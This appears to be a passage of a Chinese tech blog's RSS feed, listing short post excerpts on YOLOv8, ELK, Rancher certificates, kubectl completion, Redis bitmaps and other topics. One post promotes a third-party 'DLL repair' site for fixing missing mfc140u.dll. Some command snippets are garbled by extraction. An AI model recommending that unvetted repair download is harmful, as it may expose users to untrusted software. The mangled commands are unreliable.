      <description>项目介绍 项目中所用到的算法模型和数据集等信息如下：&#xA;算法模型： yolov8&#xA;yolov8主要包含以下几种创新：&#xA;1. 添加注意力机制（SE、CBAM等）&#xA;2. 修改可变形卷积（DySnake-主干c3替换、DySnake-所有c3替换）&#xA;数据集： 网上下载的数据集，大约10000张左右，详细介绍见数据集介绍部分。&#xA;以上是本套代码的整体算法架构和对目标检测模型的修改说明，这些模型修改可以为您的 毕设、作业等提供创新点和增强模型性能的功能 。&#xA;如果要是需要更换其他的检测模型，请私信。&#xA;注：本项目提供所用到的所有资源，包含 环境安装包、训练代码、测试代码、数据集、视频文件、 界面UI文件等。&#xA;项目简介 本文将详细介绍如何使用深度学习中的YOLOv8算法实现对车型的检测，且利用PyQt5设计了简约的系统UI界面。在界面中，您可以选择自己的视频文件、图片文件进行检测。此外，您还可以更换自己训练的yolov8模型，进行自己数据的检测。&#xA;该系统界面优美，检测精度高，功能强大。它具备多目标实时检测，同时可以自由选择感兴趣的检测目标。&#xA;本博文提供了完整的Python程序代码和使用教程，适合新入门的朋友参考。您可以在文末的下载链接中获取完整的代码资源文件。以下是本博文的目录：&#xA;目录 项目介绍项目简介效果展示：🌟一、环境安装🌟二、数据集介绍🌟三、 目标检测介绍yolov8相关介绍 四、 yolov8训练步骤五、 yolov8评估步骤六、 训练结果 🌟下载链接 效果展示： 功能：&#xA;1. 支持单张图片识别 2. 支持遍历文件夹识别 3. 支持识别视频文件 4. 支持结果导出（xls、csv两种格式） 5. 支持切换检测到的目标 基于深度学习钢铁表面缺陷检测系统（yolov8）&#xA;🌟一、环境安装 本项目提供所有需要的环境安装包（python、pycharm、cuda、torch等），可以直接按照视频讲解进行安装。具体的安装流程见此视频：视频链接&#xA;环境安装视频是以车牌项目为例进行讲解的，但是可以适用于任何项目。&#xA;视频快进到 3:18 - 21:17，这段时间讲解的是环境安装，可直接快进到此处观看。&#xA;环境安装包可通过百度网盘下载：&#xA;链接：https://pan.baidu.com/s/17SZHeVZrpXsi513D-6KmQw?pwd=a0gi&#xA;提取码：a0gi&#xA;–来自百度网盘超级会员V6的分享&#xA;上面这个方法，是比较便捷的安装方式（省去了安装细节），按照我的视频步骤和提供的安装包安装即可，如果要是想要多学一点东西，可以按照下面的安装方式走一遍，会更加熟悉。&#xA;环境安装方法2: 追求快速安装环境的，只看上面即可！！！&#xA;下面列出了5个步骤，是完全从0开始安装（可以理解为是一台新电脑，没有任何环境），如果某些步骤已经安装过的可以跳过。下面的安装步骤带有详细的视频讲解和参考博客，一步一步来即可。另外视频中讲解的安装方法是通用的，可用于任何项目。&#xA;python环境安装：B站视频讲解cuda、cudnn安装：B站视频讲解torch安装： B站视频讲解pycharm安装： B站视频讲解第三方依赖包安装： B站视频讲解 按照上面的步骤安装完环境后，就可以直接运行程序，看到效果了。&#xA;🌟二、数据集介绍 BIT-Vehicle数据集是国内车辆检测数据集，包含9850个车辆图像。数据集中有两个摄像头在不同时间和地点拍摄的大小为16001200 和19201080的图像。 图像包含照明条件、比例、车辆表面颜色和视点的变化。&#xA;由于捕获延迟和车辆的大小，某些车辆的顶部或底部未包含在图像中。一幅图像中可能有一两辆车，因此每辆车的位置都被预先标注。 该数据集还可用于评估车辆检测的性能。 数据集中的所有车辆分为6类：公共汽车(Bus)、微型客车(Microbus)、小型货车(Minivan)、轿车(Sedan)、SUV(SUV) 和卡车(Truck)。 每种车型的车辆数量分别为558辆、883辆、476辆、5922辆、1392辆和822辆；</description>
    </item>
    <item>
      <title>前端三件套html/css/js的基本认识以及示例程序</title>
      <link>https://bchobby.github.io/posts/30f26f66a52a4a251a2c4632f0247482/</link>
      <pubDate>Thu, 28 Dec 2023 15:07:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30f26f66a52a4a251a2c4632f0247482/</guid>
      <description>简介 本文简要讲解了html,css,js.主要是让大家简要了解网络知识&#xA;因为实际开发中很少直接写html&amp;amp;css,所以不必过多纠结,了解一下架构就好&#xA;希望深度学习可以参考MDN和w3school&#xA;HTML 基础 HTML (Hyper Text Markup Language) 不是一门编程语言,而是一种用来告知浏览器如何组织页面的标记语言.&#xA;主要用于页面结构的组织&#xA;最简单的一个内容是这样的&#xA;&amp;lt;p&amp;gt;welcome to html&amp;lt;/p&amp;gt; 属性 使用属性来给元素设定额外信息,属性的基本写法为&#xA;&amp;lt;p class=&#34;foobar&#34;&amp;gt;EESAST&amp;lt;/p&amp;gt; 用空格与元素名或前一个属性隔开,属性名=&#34;值&#34;(单引号双引号都可)&#xA;比较典型的例子就是元素&amp;lt;a&amp;gt;,用来创建链接&#xA;&amp;lt;a href=&#34;https://eesast.com&#34; title=&#34;科协官网&#34;&amp;gt;EESAST&amp;lt;/a&amp;gt; 常用标签 文档结构标签: &amp;lt;!DOCTYPE html&amp;gt;: 定义HTML文档类型和版本.&amp;lt;html&amp;gt;: HTML文档的根元素.&amp;lt;head&amp;gt;: 包含文档的元信息,如标题、字符集等.&amp;lt;title&amp;gt;: 定义文档的标题,显示在浏览器的标题栏或标签页上.&amp;lt;body&amp;gt;: 包含文档的主要内容. 文本标签: &amp;lt;h1&amp;gt; to &amp;lt;h6&amp;gt;: 定义标题,h1为最高级标题,h6为最低级标题.&amp;lt;p&amp;gt;: 定义段落.&amp;lt;br&amp;gt;: 插入换行.&amp;lt;hr&amp;gt;: 插入水平线. 链接和图像标签: &amp;lt;a&amp;gt;: 定义超链接.&amp;lt;img&amp;gt;: 插入图像. 列表标签: &amp;lt;ul&amp;gt;: 无序列表.&amp;lt;ol&amp;gt;: 有序列表.&amp;lt;li&amp;gt;: 列表项. 表格标签: &amp;lt;table&amp;gt;: 定义表格.&amp;lt;tr&amp;gt;: 定义表格行.&amp;lt;th&amp;gt;: 定义表头单元格.&amp;lt;td&amp;gt;: 定义表格数据单元格. 表单标签: &amp;lt;form&amp;gt;: 定义表单.&amp;lt;input&amp;gt;: 定义输入字段.&amp;lt;textarea&amp;gt;: 定义文本域.&amp;lt;button&amp;gt;: 定义按钮.&amp;lt;select&amp;gt;: 定义下拉列表.&amp;lt;label&amp;gt;: 定义表单标签. 样式和格式标签: &amp;lt;style&amp;gt;: 定义文档的样式信息.&amp;lt;div&amp;gt;: 定义文档中的一个区块.</description>
    </item>
    <item>
      <title>私有部署ELK，搭建自己的日志中心（三）-- Logstash的安装与使用</title>
      <link>https://bchobby.github.io/posts/7a93d3e3def675137cfb4f22f72dd62a/</link>
      <pubDate>Thu, 28 Dec 2023 15:04:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a93d3e3def675137cfb4f22f72dd62a/</guid>
      <description>一、部署ELK 上文把采集端filebeat如何使用介绍完，现在随着数据的链路，继续~~&#xA;同样，使用docker-compose部署：&#xA;version: &#34;3&#34; services: elasticsearch: container_name: elasticsearch image: elastic/elasticsearch:7.9.3 restart: always user: root ports: - 9200:9200 - 9300:9300 volumes: - ./elasticsearch/conf/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml - ./elasticsearch/data:/usr/share/elasticsearch/data - ./elasticsearch/logs:/usr/share/elasticsearch/logs environment: - &#34;discovery.type=single-node&#34; - &#34;TAKE_FILE_OWNERSHIP=true&#34; - &#34;ES_JAVA_OPTS=-Xms1500m -Xmx1500m&#34; - &#34;TZ=Asia/Shanghai&#34; kibana: container_name: kibana image: elastic/kibana:7.9.3 restart: always ports: - 5601:5601 volumes: - ./kibana/conf/kibana.yml:/usr/share/kibana/config/kibana.yml environment: - elasticsearch.hosts=elasticsearch:9200 - &#34;TZ=Asia/Shanghai&#34; depends_on: - elasticsearch logstash: image: elastic/logstash:7.9.3 restart: always container_name: logstash volumes: - ./logstash/conf/logstash.conf:/usr/share/logstash/pipeline/logstash.conf - .</description>
    </item>
    <item>
      <title>el-tab切换出现蓝色边框问题解决</title>
      <link>https://bchobby.github.io/posts/c301a9c54f96593bfa5e6a86f8d4bf3f/</link>
      <pubDate>Thu, 28 Dec 2023 15:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c301a9c54f96593bfa5e6a86f8d4bf3f/</guid>
      <description> bug图：&#xA;公共样式文件全局加上以下代码 // tab切换时出现蓝色边框问题解决 .el-tabs__item:focus.is-active.is-focus:not(:active) { box-shadow: none !important; //切换阴影 border-radius: 0 !important; } </description>
    </item>
    <item>
      <title>Ubuntu安装WordPress并使用Nginx作为Web服务器</title>
      <link>https://bchobby.github.io/posts/11cacb6699c3c79fef7d7280a451857e/</link>
      <pubDate>Thu, 28 Dec 2023 15:00:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11cacb6699c3c79fef7d7280a451857e/</guid>
      <description>在Ubuntu上安装和配置WordPress并使用Nginx作为Web服务器，以下是一个简单的操作流程：&#xA;步骤 1: 安装Nginx&#xA;sudo apt update sudo apt install nginx 启动Nginx并设置开机自启：&#xA;sudo systemctl start nginx sudo systemctl enable nginx 步骤 2: 安装MySQL数据库服务器&#xA;sudo apt install mysql-server 安装过程中会提示您设置MySQL的root密码。&#xA;启动MySQL并设置开机自启：&#xA;sudo systemctl start mysql sudo systemctl enable mysql 步骤 3: 创建WordPress数据库和用户&#xA;登录到MySQL控制台：&#xA;sudo mysql -u root -p 在MySQL控制台中执行以下SQL命令：&#xA;CREATE DATABASE wordpress; CREATE USER &#39;wordpressuser&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;your_password&#39;; GRANT ALL PRIVILEGES ON wordpress.* TO &#39;wordpressuser&#39;@&#39;localhost&#39;; FLUSH PRIVILEGES; EXIT; 请记得将your_password替换为您选择的实际密码。&#xA;步骤 4: 安装PHP及相关模块</description>
    </item>
    <item>
      <title>独立容器 Rancher Server 证书过期解决</title>
      <link>https://bchobby.github.io/posts/7d1a35f9704a1ee030a9547db770d86e/</link>
      <pubDate>Thu, 28 Dec 2023 14:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d1a35f9704a1ee030a9547db770d86e/</guid>
      <description> 问题 Rancher无法登录 容器报错X509：certificate has expired or is not ye valid&#xA;在某天需要发布新版本的时候，发现rancher无法登录，于是到服务器上查看rancher日志，发现以下内容：&#xA;docker logs -f rancher --since=10m&#xA;解决 1、通过镜像确定rancher版本 2、参考rancher文档中独立容器Rancher Server证书更新解决 https://docs.rancher.cn/docs/rancher2/cluster-admin/certificate-rotation/_index/&#xA;进入容器 &amp;lt;rancher_server_id&amp;gt;为容器id docker exec -it &amp;lt;rancher_server_id&amp;gt; /bin/bash 容器内操作 kubectl --insecure-skip-tls-verify -n kube-system delete secrets k3s-serving kubectl --insecure-skip-tls-verify delete secret serving-cert -n cattle-system rm -f /var/lib/rancher/k3s/server/tls/dynamic-cert.json exit 重启容器 docker restart &amp;lt;rancher_server_id&amp;gt; 执行以下命令刷新参数， server-url 为rancher登录地址 curl --insecure -sfL https://&amp;lt;server-url&amp;gt;/v3 再次重启容器 docker restart &amp;lt;rancher_server_id&amp;gt; </description>
    </item>
    <item>
      <title>介绍几种mfc140u.dll丢失的解决方法，找不到msvcp140.dll要怎么处理</title>
      <link>https://bchobby.github.io/posts/40cf6fa759644ca9fa32a79541fda20e/</link>
      <pubDate>Thu, 28 Dec 2023 14:46:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40cf6fa759644ca9fa32a79541fda20e/</guid>
      <description>如果你在使用电脑时遇到mfc140u.dll丢失错误时，这可能会导致程序无法正常运行，但是大家不必过于担心。今天的这篇文章本将为你介绍几种mfc140u.dll丢失的解决方法，找不到msvcp140.dll要怎么处理的一些解决方法。&#xA;一.mfc140u.dll文件缺失会有什么影响 当mfc140u.dll文件丢失或损坏时，会直接影响工作效率和电脑使用体验&#xA;某些程序和游戏可能无法启动或在使用过程中出现崩溃。&#xA;可能无法安装或运行一些新软件，因为安装或启动过程中会检查DLL文件的完整性。&#xA;如果这些错误是由于恶意软件感染导致的mfc140u.dll丢失，那么用户的个人数据可能会面临风险。&#xA;二.修复mfc140u.dll文件 1.重新安装Microsoft Visual C++ Redistributable 最常见的原因是mfc140u.dll文件缺少，可以通过重新安装Microsoft Visual C++ Redistributable组件来解决这个问题。按照以下步骤进行操作。&#xA;访问Microsoft官方网站，下载与你的操作系统版本对应的最新Microsoft Visual C++ Redistributable软件包。&#xA;安装下载的软件包，根据提示完成安装过程。&#xA;完成后，重新启动电脑并检查是否成功解决mfc140u.dll丢失错误。&#xA;2.使用DLL修复工具 如果以上方法未能解决mfc140u.dll丢失错误，或觉得上面的方法比较复杂，那么你可以尝试使用DLL修复工具。这些工具可以一键扫描并修复损坏或丢失的DLL文件。请记住，选择可信赖的工具，并始终谨慎使用第三方软件。&#xA;在浏览器顶部输入：dll修复.site ，点击前往进入，并启动dll修复工具进行使用。&#xA;DLL修复工具_一键修复所有dll缺失msvcp140.dll丢失的解决方法–电脑修复精灵&#xA;点击工具。将工具启动后点击页面中的一键修复或手动修复都可以解决mfc140u.dll丢失的问题。&#xA;一键修复是修复mfc140u.dll文件包括其他的错误dll文件。&#xA;手动修复是单独修复mfc140u.dll文件。&#xA;两种修复方式都是能够有效的解决mfc140u.dll丢失方法。&#xA;3.运行系统文件检查工具（SFC） 如果重新安装Microsoft Visual C++ Redistributable未能解决问题，你可以尝试运行系统文件检查工具(SFC)来修复系统文件中的错误。请按照以下步骤进行操作：&#xA;打开命令提示符（以管理员身份运行）。&#xA;键入命令 &#34;sfc /scannow&#34;，然后按下回车键。&#xA;系统将开始扫描和修复系统文件中的错误。等待扫描和修复过程完成。&#xA;完成后，重新启动电脑并检查mfc140u.dll丢失的问题是否成功解决错误。&#xA;重要提示：在尝试任何解决方法之前，请务必备份你的重要文件，并创建系统还原点，以防止意外情况发生。&#xA;三.mfc140u.dll错误消息提示 当mfc140u.dll文件丢失时，可能会遇到一下几种关于mfc140u.dll丢失的错误弹窗或提示：&#xA;&#34;程序无法启动，因为电脑中缺少mfc140u.dll。尝试重新安装程序以解决此问题。&#xA;&#34;找不到 mfc140u.dll。&#34;&#xA;&#34;无法注册mfc140u.dll。&#34;&#xA;&#34;mfc140u.dll不是有效的Win32应用程序。&#34;&#xA;&#34;mfc140u.dll丢失或损坏。&#34;&#xA;&#34;此应用程序未能启动，因为mfc140u.dll未找到。重新安装应用程序可能会解决这个问题。&#34;&#xA;四.可能受影响的应用程序和服务 mfc140u.dll与许多使用Microsoft Foundation Classes (MFC) 库编写的程序相关，这些程序依赖该DLL文件正常运行。被影响的应用程序和服务可能包括：&#xA;使用Visual Studio 2015编译的软件和游戏&#xA;需要Microsoft Visual C++运行时库的第三方软件&#xA;各类企业软件、工具、以及管理应用程序&#xA;对C++组件进行拓展或自定义的应用程序&#xA;mfc140u.dll丢失错误可能会影响到你的程序正常运行，但通过重新安装Microsoft Visual C++ Redistributable、运行系统文件检查工具（SFC）或使用DLL修复工具，你很有可能解决这个问题。请记住备份重要文件，并遵循逐步指南来顺利修复mfc140u.dll丢失错误。</description>
    </item>
    <item>
      <title>iframe展示pdf、png、jpg</title>
      <link>https://bchobby.github.io/posts/e75bd555bc3990807cf4efd974c9ac01/</link>
      <pubDate>Thu, 28 Dec 2023 14:44:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75bd555bc3990807cf4efd974c9ac01/</guid>
      <description>iframe展示pdf、png、jpg： 1、前端定义div：&#xA;&amp;lt;div id=&#34;pdf-container&#34;&amp;gt;&amp;lt;/div&amp;gt;/*dpf的div*/ &amp;lt;iframe id=&#34;imageFrame&#34;&amp;gt;&amp;lt;/iframe&amp;gt;/*图片的div*/ 2、后端查询base64的流，前端页面初始化js方法：(pdf和图片，2个方法)&#xA;/*pdf展示*/ function pdfToShow(){ // 这里的 base64Data 是你的 base64 编码的 PDF 数据 var base64Data =$(&#34;#fileBase64&#34;).val() console.log(&#34;base64Data&#34;,base64Data) const byteCharacters = atob(base64Data); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i &amp;lt; byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], { type: &#39;application/pdf&#39; }); // 创建一个新的 URL，并设置文件名 const url = URL.createObjectURL(blob); var pdfContainer = document.</description>
    </item>
    <item>
      <title>K8S kubectl 自动补全命令</title>
      <link>https://bchobby.github.io/posts/f6ccc2671c8cc7906a68a553505e3aa2/</link>
      <pubDate>Thu, 28 Dec 2023 14:41:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6ccc2671c8cc7906a68a553505e3aa2/</guid>
      <description> K8S kubectl 自动补全命令 https://www.cnblogs.com/Dev0ps/p/12186027.html 1.安装bash-completion工具 yum install bash-completion -y 2.执行bash_completion source /usr/share/bash-completion/bash_completion 3.加载kubectl completion sourceecho &#34;source &amp;gt; ~/.bashrc # 在您的 bash shell 中永久的添加自动补全 4.别名 您还可以为 kubectl 使用一个速记别名，该别名也可以与 completion 一起使用： cat &amp;gt;&amp;gt;/root/.bashrcalias k=kubectlcomplete -F __start_kubectl kEOFsource /root/.bashrc 5.使用 kubectl get pods -n kube-public testapp-6f7545bfbd-2qh9nkubectl get pods -n kube-public testap输入到此时，按TAB键自动把后面的补齐 </description>
    </item>
    <item>
      <title>error: unable to read askpass response from</title>
      <link>https://bchobby.github.io/posts/90e1be85d4b92077f4b7cef6347a3566/</link>
      <pubDate>Thu, 28 Dec 2023 14:40:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90e1be85d4b92077f4b7cef6347a3566/</guid>
      <description>报错信息&#xA;解决方法：&#xA;中文：文件--&amp;gt;设置--&amp;gt;版本控制--&amp;gt;Git--&amp;gt;勾选使用凭证帮助程序&#xA;英文：File -&amp;gt; Settings -&amp;gt; Version Control -&amp;gt; Git / Check &#34;User credential Helper&#34;&#xA;因为我的webstrom是中文版的，如图所示：</description>
    </item>
    <item>
      <title>Redis BitMap（位图）</title>
      <link>https://bchobby.github.io/posts/5e4bae2ed9fe9c6b71315389510512c0/</link>
      <pubDate>Thu, 28 Dec 2023 14:40:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e4bae2ed9fe9c6b71315389510512c0/</guid>
      <description>这里是小咸鱼的技术窝（CSDN板块），我又开卷了&#xA;之前经手的项目运行了10多年，基于重构，里面有要实现一些诸如签到的需求，以及日历图的展示，可以用将签到信息存到传统的关系型数据库（MySql、Oracle） 然后用 Sql 进行统计、也可以借助 Redis 中的 BitMap来实现签到需求。俩者的区别就在于，一个签到了100万年的项目，你用Mysql无论如何进行分库分表，落地到磁盘的上的数据体量都很大，且查询速度会变慢，但是用 Redis 存储数据占用的内存小，且统计效率更快。当然如果你怕Redis挂，也可以存俩份数据，一份放Mysql一份放Redis，利用 Redis 缓存考勤结果加快查询效率，但是占用的机器磁盘过大的问题还是没解决，下面介绍用 BitMap 如何实现下面这个签到日历。&#xA;这个项目的签到用到了海康的人脸识别SDK靠每天进行人脸识别打卡，然后记录签到信息的，就拿手动点击签到来说。整个流程如下。&#xA;用户点击签到按钮，发起一个签到请求给我们，先调用 getbit 命令，判断今天有没有进行签到过，没有然后调用 setbit 命令，把签到结果存入 BitMap（期间用户重复点击签到也没事，BitMap多次重复设置值的操作是幂等的）&#xA;BitMap 介绍 https://redis.io/commands/bitop/ 下面的这段洋文是官网对BitMap的介绍&#xA;Bitmaps are not an actual data type, but a set of bit-oriented operations defined on the String type which is treated like a bit vector. Since strings are binary safe blobs and their maximum length is 512 MB, they are suitable to set up to 2^32 different bits.</description>
    </item>
    <item>
      <title>CMEMS数据下载</title>
      <link>https://bchobby.github.io/posts/7301226efbf5b7d70614f90c958847a3/</link>
      <pubDate>Thu, 28 Dec 2023 14:09:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7301226efbf5b7d70614f90c958847a3/</guid>
      <description>CMEMS最近在更新数据库，有一些数据库不能像之前一样在网页上下载了，但是CMEMS推荐了一个工具Copernicus Marine Toolbox，通过脚本进行下载。&#xA;环境：Ubuntu20.04&#xA;一、 Copernicus Marine Toolbox安装 （原文为mamba或者python，这里用conda安装）&#xA;新建一个文件，命名为 copernicus-marine-client-env.yml，文件复制内容如下 name: cmc-beta channels: - conda-forge dependencies: - pip - pip: - copernicus-marine-client!=0.9.10 - python&amp;gt;=3.9,&amp;lt;3.12 创建环境 conda env create --file copernicus-marine-client-env.yml 激活环境 conda activate cmc-beta 二、下载数据&#xA;新建一个名为request_file.json文件 内容如下 { &#34;dataset_id&#34;: &#34;cmems_mod_glo_phy_my_0.083deg_P1D-m&#34;, &#34;start_datetime&#34;: &#34;2011-08-01T00:00:00&#34;, &#34;end_datetime&#34;: &#34;2011-08-31T23:59:59&#34;, &#34;minimum_longitude&#34;: 155, &#34;maximum_longitude&#34;: 210, &#34;minimum_latitude&#34;: 55, &#34;maximum_latitude&#34;: 70, &#34;minimum_depth&#34;: 0, &#34;maximum_depth&#34;: 3000, &#34;variables&#34;: [&#34;uo&#34;, &#34;vo&#34;,&#34;thetao&#34;,&#34;so&#34;,&#34;zos&#34;,&#34;mlotst&#34;], &#34;output_filename&#34;: &#34;CMEMS_Reanalysis_Aug2011.nc&#34;, &#34;output_directory&#34;: &#34;copernicusmarine_data&#34; } 含义，下载2011年8月1日至8月31日50-70°N，155°E-210°E之间深度0-3000m的流速、位温、盐度、海表高度和混合层厚度的再分析数据，输出到copernicusmarine_data文件夹下的CMEMS_Reanalysis_Aug2011.nc&#xA;dataset_id即为数据库的名称，可在CMEMS产品的Data access页面直接复制Dataset ID</description>
    </item>
    <item>
      <title>Swift函数式编程——函数</title>
      <link>https://bchobby.github.io/posts/291b35ccbca6782c410c593fbc2a007b/</link>
      <pubDate>Thu, 28 Dec 2023 14:02:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/291b35ccbca6782c410c593fbc2a007b/</guid>
      <description>目录&#xA;Swift函数式编程－函数&#xA;高阶函数（Higher order function）&#xA;一等函数（First class function）&#xA;闭包&#xA;函数柯里化（Function Curring）&#xA;函数式思维&#xA;使用函数解决问题&#xA;使用函数组合&#xA;总结&#xA;Swift函数式编程－函数 Swift支持函数式编程，这一篇介绍Swift中的函数。&#xA;高阶函数（Higher order function） 高阶函数，指可以将其他函数作为参数或者返回结果的函数。&#xA;Swift中的函数都是高阶函数，这和Scala，Haskell一致。与此对照的是，Java中没有高阶函数（Java 7支持闭包之前）。Java中方法没法单独存在，方法总是需要和类捆绑在一起。当你需要将一个函数传递作为参数给另外一个函数时，需要一个类作为载体来携带函数。这也是Java中监听器（Listener）的做法。&#xA;高阶函数对于函数式语言很重要，原因至少有两个:&#xA;首先，高阶函数意味着您可以使用更高的抽象，因为它允许我们引入计算的通用方法。例如，可通过抽象出一个通用机制，遍历数组并向其中的每个元素应用一个（或多个）高阶函数。高阶函数可以被组合成为更多更复杂的高阶函数，来创造更深层的抽象。&#xA;其次，通过支持函数作为返回值，就可支持构建动态性与适应性更高的系统。 一等函数（First class function） 一等函数，进一步扩展了函数的使用范围，使得函数成为语言中的“头等公民”。这意味函数可在任何其他语言结构（比如变量）出现的地方出现。一等函数是更严格的高阶函数。Swift中的函数都是一等函数。&#xA;闭包 闭包是一个会对它内部引用的所有变量进行隐式绑定的函数。也可以说，闭包是由函数和与其相关的引用环境组合而成的实体。&#xA;￼函数实际上是一种特殊的闭包,你可以使用{}来创建一个匿名闭包。使用 in 来分割参数和返回类型。&#xA;let r = 1...3 let t = r.map { (i: Int) -&amp;gt; Int in return i * 2 } map函数遍历了数组，用闭包处理了所有元素。并返回了一个处理过的新数组。&#xA;Objective-C在后期加入了对闭包支持。闭包是一种一等函数。通过支持闭包，Objective-C拓展其语言表达能力。但是如果将Swift的闭包语法与Objective-C的闭包相比，Swift的闭包显得相当简洁和优雅，Objective-C的闭包则显得有些繁重复杂。&#xA;函数柯里化（Function Curring） 函数柯里化（Function Curring），是指接受多个参数的函数变换成接受一个单一参数（最初函数的第一个参数）的函数，该函数返回一个接受余下参数的新函数。这个名词来源于逻辑学家 Haskell Curring。编程语言Haskell也取自这位逻辑学家的名字。&#xA;Haskell中函数都可以柯里化。在Haskell里的函数参数的型别声明也暗示了函数是柯里化的。Haskell中，返回值和参数之间，各个参数之间都是以－&amp;gt;分隔。这是因为，如果你向可以接受多个参数的函数传入一个参数，函数仍然有返回值。它的返回值是另外一个函数。这个函数可以接受剩余的参数，我们称这个返回的函数为不全呼叫函数。本质上讲，Haskell的所有函数都只有一个参数。&#xA;下面语句在命令行中展示了Haskell里max的型别：&#xA;Prelude&amp;gt; :type max max :: Ord a =&amp;gt; a -&amp;gt; a -&amp;gt; a 其实也可以写作：</description>
    </item>
    <item>
      <title>AI大模型引领未来智慧科研暨ChatGPT在地学、GIS、气象、农业、生态、环境等领域中的高级应用</title>
      <link>https://bchobby.github.io/posts/cc0b9b86b55c6e07a6ae67711e29b051/</link>
      <pubDate>Thu, 28 Dec 2023 13:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc0b9b86b55c6e07a6ae67711e29b051/</guid>
      <description>以ChatGPT、LLaMA、Gemini、DALL·E、Midjourney、Stable Diffusion、星火大模型、文心一言、千问为代表AI大语言模型带来了新一波人工智能浪潮，可以面向科研选题、思维导图、数据清洗、统计分析、高级编程、代码调试、算法学习、论文检索、写作、翻译、润色、文献辅助阅读、文献信息提取、辅助论文审稿、新闻撰写、科技绘图、地学绘图（GIS地图绘制）、概念图生成、图像识别、教学课件、教学案例生成、基金润色、专业咨询、文件上传和处理、机器/深度学习训练与模拟、大模型API二次开发等特定任务，生成文本、图片、代码、语音、视频等不同形式的数据、模式和内容，成为不少科研工作者的第二大脑。通过大量生物、地球、农业、气象、生态、环境科学领域中案例，解锁大模型在科研、办公中的高级应用，一起探索如何优雅地使用大模型。&#xA;详情：180-3121-1455 微信&#xA;专题一、开启大模型&#xA;1 开启大模型&#xA;1)大模型的发展历程与最新功能&#xA;2)大模型的算法构架与底层逻辑&#xA;3)大模型的强大功能与应用场景&#xA;4)国内外经典大模型（ChatGPT、LLaMA、Gemini、DALL·E、Midjourney、Stable Diffusion、星火大模型、文心一言、千问等）&#xA;5)如何优雅使用大模型&#xA;案例1.1：开启不同平台的大模型&#xA;案例1.2：GPT不同版本的使用&#xA;案例1.3：大模型文件上传和处理&#xA;专题二、基于ChatGPT大模型提问框架&#xA;2 提问框架（提示词、指令）&#xA;1)专业大模型提示词，助你小白变专家&#xA;2)超实用的通用提示词和提问框架&#xA;3)高级提问技巧&#xA;案例2.1：设定角色与投喂规则&#xA;案例2.2：行业专家指令合集&#xA;案例2.3：角色扮演与不同角度提问&#xA;案例2.4：分步提问与上下文关联&#xA;案例2.5：经典提问框架练习，提升模型效率&#xA;专题三、基于ChatGPT大模型的数据清洗&#xA;3 基于ChatGPT的数据清洗&#xA;1)R语言和Python基础（勿需学会，能看懂即可）&#xA;2)数据清洗方法（重复值、缺失值处理、异常值检验、标准化、归一化、数据长宽转换，数据分组聚合）&#xA;案例3.1：使用大模型指令随机生成数据&#xA;案例3.2：使用大模型指令读取数据&#xA;案例3.3：使用大模型指令进行数据清洗&#xA;案例3.4：使用大模型指令对农业气象数据进行预处理&#xA;案例3.5：使用大模型指令对生态数据进行预处理&#xA;专题四、基于ChatGPT大模型的统计分析&#xA;4 基于AI大模型的统计分析&#xA;1)统计假设检验&#xA;2) 统计学三大常用检验及其应用场景&#xA;3) 方差分析、相关分析、回归分析&#xA;4) 混合线性模型&#xA;5) Meta分析&#xA;案例4.1：使用大模型对生态环境数据进行正态性检验、方差齐性检验&#xA;案例4.2：使用大模型进行t检验、F检验和卡方检验&#xA;案例4.3：使用大模型指令对生态环境数据进行方差分析、相关分析及回归分析&#xA;案例4.4：使用大模型指令构建混合线性模型&#xA;案例4.5：使用大模型指令对文献收集数据进行Meta分析&#xA;专题五、基于ChatGPT大模型的机器学习&#xA;5 基于AI大模型的机器/深度学习（无需代码基础即可实现）&#xA;1)机器/深度学习&#xA;2)机器学习监督学习（回归、分类）、非监督学习（降维、聚类）&#xA;3)特征工程、数据分割、目标函数、参数优化、交叉验证、超参数寻优&#xA;1)深度学习算法（神经网络、激活函数、交叉熵、优化器）&#xA;2)Pytorch基础&#xA;3)卷积神经网络、长短期记忆网络（LSTM）&#xA;案例5.1：使用大模型指令构建回归模型（多元线性回归、随机森林、XGBoost、LightGBM等）&#xA;案例5.2：使用大模型指令构建分类模型（支持向量机、XGBoost等）&#xA;案例5.3：使用大模型指令构建降维模型&#xA;案例5.4：使用大模型指令构建聚类模型&#xA;案例5.5：使用大模型指令构建深度学习模型，预测气象数据&#xA;案例5.6：使用大模型指令构建深度学习模型，进行图像识别</description>
    </item>
    <item>
      <title>简单了解nginx</title>
      <link>https://bchobby.github.io/posts/bdc1a2a30da619e4053964c4aa114c19/</link>
      <pubDate>Thu, 28 Dec 2023 13:45:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdc1a2a30da619e4053964c4aa114c19/</guid>
